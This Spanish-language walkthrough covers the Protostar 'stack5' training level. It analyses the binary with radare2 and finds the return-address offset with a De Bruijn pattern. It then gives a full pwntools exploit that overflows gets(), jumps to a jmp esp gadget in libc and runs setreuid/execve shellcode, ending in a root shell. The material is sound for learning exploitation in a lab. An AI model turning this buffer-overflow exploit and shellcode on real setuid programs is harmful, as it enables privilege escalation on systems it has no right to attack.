En
./stack5
continuamos con la dinámica de los dos últimos retos:
dpc@kernelinside:~/protostar/bin$ ./stack5
test
dpc@kernelinside:~/protostar/bin$
radare2 al rescate:
dpc@kernelinside:~/protostar/bin$ r2 ./stack5
-- You need some new glasses
[0x08048310]> aas
[0x08048310]> e asm.bytes=false
[0x08048310]> iz
[0x08048310]> afl
0x08048000 23 712 -> 717 segment.LOAD0
0x08048114 19 436 -> 440 segment.INTERP
0x080482c8 1 12 fcn.080482c8
0x080482d8 1 6 loc.imp.__gmon_start
0x080482e8 1 6 sym.imp.gets
0x080482f8 1 6 sym.imp.__libc_start_main
0x08048310 1 33 sym._start
0x08048340 6 85 sym.__do_global_dtors_aux
0x080483a0 4 35 sym.frame_dummy
0x080483c4 1 23 sym.main
0x080483e0 1 5 sym.__libc_csu_fini
0x080483f0 4 90 sym.__libc_csu_init
0x0804844a 1 4 sym.__i686.get_pc_thunk.bx
0x08048450 4 42 sym.__do_global_ctors_aux
0x0804847c 1 28 sym._fini
0x08048498 1 12 obj._fp_hw
Esta vez sin strings interesantes ni otras funciones locales que ejecutar. ¿Por qué no? Ejecutaremos código arbitrario:
[0x08048310]> s main
[0x080483c4]> pdf
| ;-- main:
/ (fcn) sym.main 23
| sym.main ();
| ; var int local_10h @ esp+0x10
| ; DATA XREF from sym._start (0x8048327)
| 0x080483c4 push ebp
| 0x080483c5 mov ebp, esp
| 0x080483c7 and esp, 0xfffffff0
| 0x080483ca sub esp, 0x50 ; 'P'
| 0x080483cd lea eax, [local_10h] ; 0x10 ; 16
| 0x080483d1 mov dword [esp], eax
| 0x080483d4 call sym.imp.gets ; char *gets(char *s)
| 0x080483d9 leave
\ 0x080483da ret
El payload, como siempre, se lee desde la entrada estándar. Para averiguar el offset hasta la dirección de retorno guardada utilizaremos el mismo método que en
./stack4
:
1. Reabriremos
./stack5
en modo debug
2. Pondremos un breakpoint
db
justo después de la llamada a gets()
3. Continuamos la ejecución
dc
, metemos un string de prueba y el programa se detendrá
4. Escribimos en el buffer un patrón con el algoritmo De Bruijn Pattern
wopD
5. Continuamos la ejecución
dc
y se producirá una violación de segumento con el registro EIP
apuntando a un valor contenido dentro del patrón
6. Finalmente averiguamos el offset de este valor mediante
wopO
Veamos:
[0x080483c4]> ood
Process with PID 4696 started...
File dbg:///home/dpc/protostar/bin/stack5 reopened in read-write mode
= attach 4696 4696
4696
[0xf7fd6c70]> db 0x080483d9
[0xf7fd6c70]> dc
test
hit breakpoint at: 80483d9
[0x080483d9]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr] Write a De Bruijn Pattern of length 'len' at address 'addr'
| wopD* len [@ addr] Show wx command that creates a debruijn pattern of a specific length
| wopO value Finds the given value into a De Bruijn Pattern at current offset
[0x080483d9]> wopD 128 @ esp+0x10
[0x080483d9]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41614141 code=1 ret=0
[0x41614141]> wopO eip
76
Sabemos que la estructura de nuestro payload será la siguiente:
[ 76 bytes ][ret][ nops ][ shellcode ]
Para el shellcode haremos uso del módulo
shellcraft
de pwntools. Este consistirá en dos llamadas a setregid()
y setreuid()
para recuperar los permisos de root y finalmente la ejecución de /bin/sh
. pwntools nos permite hacer algo tan sencillo como esto:
shellcode = shellcraft.i386.linux.setregid()
shellcode += shellcraft.i386.linux.setreuid()
shellcode += shellcraft.i386.linux.sh()
shellcode = asm(shellcode)
Lo que se traducirá en un código tal que así:
/* getegid */
/* call getegid() */
push SYS_getegid /* 0x32 */
pop eax
int 0x80
mov ebx, eax
/* setregid(eax, eax) */
/* call setregid('ebx', 'ebx') */
push SYS_setregid /* 0x47 */
pop eax
mov ecx, ebx
int 0x80
/* geteuid */
/* call geteuid() */
push SYS_geteuid /* 0x31 */
pop eax
int 0x80
mov ebx, eax
/* setreuid(eax, eax) */
/* call setreuid('ebx', 'ebx') */
push SYS_setreuid /* 0x46 */
pop eax
mov ecx, ebx
int 0x80
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
Por último solo nos queda averiguar con qué dirección sobreescribiremos
EIP
. Por supuesto no queremos andar adivinando offsets en el stack (los días de Aleph One fueron bonitos, pero esto es el futuro :P), de modo que localizaremos la dirección de una instrucción jmp esp
, que como ya sabemos conduce hasta nuestro shellcode.
pwntools nos facilita de nuevo la tarea, podemos obtener del proceso en ejecución un handle hacia la
libc
y usar el comando search
sobre el mismo para buscar la instrucción deseada:
p.libc.search(asm('jmp esp')).next()
Nota: Este método solo es portable en exploits locales.
Ahora sí, mostraremos el exploit completo:
from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack5"
shellcode = shellcraft.i386.linux.setregid()
shellcode += shellcraft.i386.linux.setreuid()
shellcode += shellcraft.i386.linux.sh()
shellcode = asm(shellcode)
padding = "A"*76
nops = "\x90"*32
def exploit():
p = process(context.binary.path)
jmp_esp = p.libc.search(asm('jmp esp')).next()
log.info("jmp esp: 0x%x" % jmp_esp)
payload = padding + p32(jmp_esp) + nops + shellcode
log.info("Exploiting...")
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
exploit()
Y el resultado:
dpc@kernelinside:~/protostar/bin$ python exp_stack5.py
[*] '/home/dpc/protostar/bin/stack5'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack5': pid 4855
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] jmp esp: 0xf7ddbb51
[*] Exploiting...
[*] Switching to interactive mode
$ whoami
root
$ id
uid=0(root) gid=1001(dpc) groups=1001(dpc),27(sudo)
Pwned!